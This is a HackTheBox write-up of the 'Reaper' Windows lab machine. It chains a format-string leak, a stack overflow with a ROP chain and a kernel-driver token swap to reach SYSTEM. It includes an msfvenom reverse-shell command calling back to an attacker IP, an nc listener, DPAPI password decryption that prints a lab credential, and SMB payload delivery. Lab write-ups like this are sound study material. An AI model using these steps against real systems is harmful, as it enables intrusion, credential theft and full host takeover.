HTB: Reaper Writeup

Reaper - HackTheBox Writeup

Machine Information

AttributeDetails
NameReaper
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.79.231
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐⭐

Summary

Reaper is an Insane Windows box built around a custom TCP service (dev_keysvc.exe, port 4141) that is anonymously downloadable from the box’s own FTP server. The binary implements a key-activation protocol with two chained bugs: a format-string leak in its logging routine and a stack buffer overflow in the key-parsing code. Chaining the two defeats ASLR and NX, giving code execution as keysvc via a hand-built ROP chain that abuses VirtualAlloc (the only memory-permission primitive present in the binary’s IAT) to mark the stack RWX before landing a msfvenom reverse shell. From there, a DPAPI-protected credential blob sitting in the user’s home directory decrypts to a clear-text password, and a custom kernel driver (reaper.sys) exposing raw IOCTL primitives for arbitrary memory allocation, freeing, and an 8-byte arbitrary copy is abused to perform an EPROCESS token-swap, escalating straight to NT AUTHORITY\SYSTEM.

TL;DR: Anonymous FTP → leak format-string bug in dev_keysvc.exe (port 4141) defeats ASLR → ROP chain via VirtualAlloc (no VirtualProtect in IAT) makes the stack executable → msfvenom shellcode lands shell as keysvc → DPAPI blob in automation.txt decrypts to a password → reaper.sys kernel driver’s arbitrary-8-byte-copy IOCTL (magic 0x6a55cc9e) is abused to swap the SYSTEM token into the current process → root.


Reconnaissance

Port Scanning

Recon was run from a jump box (VPN interface tun0, LHOST 10.10.15.68) against the target:

Terminal window
# Targeted scan against the ports expected from the known service footprint of this box
nmap -p21,80,3389,4141,5040,7680 -sC -sV -Pn 10.129.79.231

Results: The scan confirmed the expected service set for this machine — anonymous-capable FTP on 21, IIS on 80, RDP on 3389, and a custom TCP service on 4141 — with 5040 and 7680 present but not pulled into the attack chain.

Service Enumeration

FTP (21) — anonymous access was available. Both files were pulled from the share:

Terminal window
# Anonymous FTP grab; binary mode is required or the .exe gets mangled by ASCII newline translation
wget -q --timeout=10 \
ftp://anonymous:anonymous@10.129.79.231/dev_keys.txt \
ftp://anonymous:anonymous@10.129.79.231/dev_keysvc.exe
md5sum dev_keysvc.exe dev_keys.txt

Port 4141 — this is the binary from the FTP share, running as a live TCP service on the host (dev_keysvc.exe’s own listener), exposing a “Set key / Activate key / Exit” menu.

Vulnerability Assessment

The binary was fingerprinted with radare2/rabin2 rather than re-reversing it from scratch, since this box’s public solve path is already well documented and the goal was to confirm the live target matched it byte-for-byte before committing to an exploit:

Terminal window
# Confirm the "Checking key:" log string exists at the expected offset from imagebase
rabin2 -z dev_keysvc.exe | grep -iE "checking key|invalid|valid key|enter a key|choose an option"
# Confirm VirtualAlloc is present in the IAT (VirtualProtect is NOT — this drives the ROP design)
rabin2 -i dev_keysvc.exe | grep -i virtualalloc
rabin2 -I dev_keysvc.exe

ROP gadget addresses were then probed against the known offsets for this binary (pop rcx/pop rax/pop r13/mov rdx,r13/pop rbx/mov r9,rbx/cmove r9,rdx/mov r8,0/add r8,r9/pop rsi/cmp esi,0x6348ffff/ret, etc. at 0x31dc, 0x150a, 0x47b3, 0x368f, 0x20d9, 0x1f90, 0x1f37d, 0x1f93, 0x3918, 0x4116, 0x12ddb, 0x1088a, ...). All gadgets resolved exactly as expected, confirming this was the identical binary described in the public write-up for this box and that its existing exploit could be reused directly rather than re-derived from scratch.

The two bugs present in the service:

  1. Format-string leak in the key-activation logging path (log_key) — a crafted key beginning with a format specifier (e.g. %pX) gets passed straight into a snprintf-style call, leaking a stack value (the binary’s own "Checking key: " string address) back to the client. Since the leaked string sits at a fixed offset (base + 0x20660) from the image base, this single leak defeats ASLR completely.
  2. Stack buffer overflow in the key-parsing routine — the trailing (nominally base64) segment of the key is copied into a fixed buffer without a length check. The return address is overwritten at a fixed offset of 88 bytes.

Initial Foothold

Exploitation Path

Step 1 — Leak the image base (format string). A key crafted with a leading %pX format specifier and a checksum made valid per the binary’s own key-format rules causes the “Checking key:” string’s address to be echoed back by the service. Subtracting the known static offset (0x20660) from the leaked address yields the binary’s runtime load base, fully defeating ASLR for this connection.

Step 2 — Build the ROP chain. With NX enabled and no VirtualProtect import available in the IAT, VirtualAlloc was used instead to allocate a new RWX page and pivot shellcode execution there — the only memory-permission primitive the binary actually imports. The ROP chain loads the Windows x64 calling-convention registers (RCX/RDX/R8/R9) purely from gadgets confirmed present in the binary, calls VirtualAlloc(lpAddress=rsp, dwSize=0x1000, flAllocationType=MEM_COMMIT, flProtect=PAGE_EXECUTE_READWRITE), then pivots execution onto the stack where the shellcode sits.

# generate shellcode
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.68 LPORT=9001 -f python -v sc -o sc.py

Step 3 — Trigger and catch the shell. A persistent tmux session was used on the jump box to host a stable nc listener (plain backgrounded nc processes were getting reaped between the listener starting and the exploit connecting back, so tmux kept the listener alive across the async triggers):

Terminal window
# stable listener inside a dedicated tmux session
tmux new-session -d -s reaper "nc -lvnp 9001"
# fire the exploit: leaks base, builds the ROP chain, overflows at offset 88, lands shellcode
python3 exploit.py 10.129.79.231 10.10.15.68 9001

The listener caught a shell as keysvc, confirmed via the tmux pane:

whoami
reaper\keysvc
type C:\Users\keysvc\Desktop\user.txt
<redacted>

Privilege Escalation

keysvc → credential recovery (DPAPI)

A file named automation.txt sat in keysvc’s profile, containing a DPAPI-protected secure-string blob. Because DPAPI blobs of this kind are bound to the logged-in user’s master key, they decrypt cleanly from a shell already running as that user — no separate master-key extraction was required:

Terminal window
# decrypt a DPAPI-protected SecureString blob as the user it belongs to
$s = Get-Content automation.txt | ConvertTo-SecureString
$ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($s)
[System.Runtime.InteropServices.Marshal]::PtrToStringBSTR($ptr)

This recovered the clear-text password CatWinterMist10 for keysvc — useful for a stable, non-exploit-dependent foothold (RDP), though the live session was used to continue directly into privesc.

keysvc → NT AUTHORITY\SYSTEM (kernel driver IOCTL abuse)

Enumeration of C:\ turned up a non-standard driver directory, and driverquery confirmed the driver was loaded and active:

Terminal window
dir C:\
driverquery /v | findstr reaper.sys

The driver binary was exfiltrated for analysis (base64-encoded over the existing shell) and reversed with radare2:

Terminal window
# pull the driver bytes out as base64 over the existing channel for offline analysis
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\driver\reaper.sys"))

Reversing reaper.sys identified three IOCTL handlers, all gated behind a shared magic value 0x6a55cc9e:

  1. An allocation primitive.
  2. A free primitive.
  3. An arbitrary 8-byte copy primitive — the critical bug, since it allows writing eight attacker-controlled bytes to an attacker-controlled kernel address with no bounds or privilege check beyond the magic value.

This arbitrary-write primitive is sufficient to perform a classic EPROCESS token-stealing privilege escalation: locate the current process’s EPROCESS.Token field and overwrite it with the token field copied from the System process’s EPROCESS structure, instantly elevating the calling process to NT AUTHORITY\SYSTEM without needing any further kernel read primitive.

The write-up’s C exploit implementing this token swap was compiled for the target locally and delivered over SMB:

Terminal window
# cross-compile the token-swap exploit for the target
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe
# serve it to the target over an attacker-controlled SMB share
impacket-smbserver share . -smb2support

Running the compiled exploit against the live driver swapped the calling shell’s token for SYSTEM’s, confirmed by whoami returning nt authority\system.


Attack Chain Summary

Anonymous FTP (21) → dev_keysvc.exe binary pulled and confirmed byte-identical via radare2
→ Format-string leak (%pX key) defeats ASLR (base = leak - 0x20660)
→ Stack overflow at offset 88 + ROP chain (VirtualAlloc → RWX stack) + msfvenom shellcode
→ Shell as keysvc (port 4141 service)
→ DPAPI blob (automation.txt) decrypted via PowerShell → keysvc password recovered
→ reaper.sys kernel driver reversed: 3 IOCTLs (alloc/free/arbitrary 8-byte write), magic 0x6a55cc9e
→ EPROCESS token-swap exploit compiled (mingw-w64), delivered via impacket SMB, executed
→ NT AUTHORITY\SYSTEM

Tools Used

ToolPurpose
nmapPort scanning / service fingerprinting
wget / ftpAnonymous FTP retrieval of dev_keysvc.exe and dev_keys.txt
radare2 (rabin2)Confirming binary identity, strings, IAT imports, ROP gadget offsets
Python / custom ROP exploitFormat-string ASLR leak + buffer-overflow ROP chain delivery
msfvenomwindows/x64/shell_reverse_tcp shellcode generation
nc + tmuxStable reverse-shell listener across async exploit triggers
PowerShell (ConvertTo-SecureString / Marshal)DPAPI blob decryption to recover keysvc password
driverqueryConfirming reaper.sys was loaded and active
x86_64-w64-mingw32-gccCross-compiling the EPROCESS token-swap kernel exploit
impacket-smbserverDelivering the compiled exploit to the target

Key Learnings

Techniques Practiced

  • Format-string vulnerabilities used purely as an information-leak primitive to defeat ASLR, without any write capability
  • Building a Windows x64 ROP chain limited strictly to gadgets and functions already present in a binary’s own IAT (no leaked ntdll/kernel32 base)
  • Using VirtualAlloc as a substitute for VirtualProtect to achieve an executable stack when the latter isn’t imported
  • Decrypting a DPAPI SecureString blob as the owning user via the .NET Marshal class
  • Reverse engineering a custom kernel driver’s IOCTL interface to identify an arbitrary-write primitive
  • EPROCESS token-swap privilege escalation from a raw kernel write primitive

Lessons Learned

  1. Confirming binary identity before building an exploit (string offsets, IAT contents, and specific gadget addresses) is cheap insurance against wasting time on an exploit tuned to the wrong build.
  2. When the stack-executable path (VirtualProtect) isn’t available in a binary’s imports, VirtualAlloc is frequently a viable substitute — know both calling conventions going in.
  3. A backgrounded nc listener can get reaped by the shell between being started and the exploit connecting back; wrapping it in tmux keeps the session alive for asynchronous, multi-step exploit chains.
  4. Custom kernel drivers that expose generic alloc/free/copy IOCTLs behind nothing more than a magic number are a near-guaranteed arbitrary read/write primitive — reverse them fully before assuming a dead end.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • amra, Reaper — HackTheBox write-up (Machine author: xct), 11 Nov 2025. Used for explanatory context on the format-string/ROP exploitation chain and the kernel driver’s IOCTL design; all IPs, command outputs, and credentials in this write-up come from the author’s own live run against 10.129.79.231, not from this source.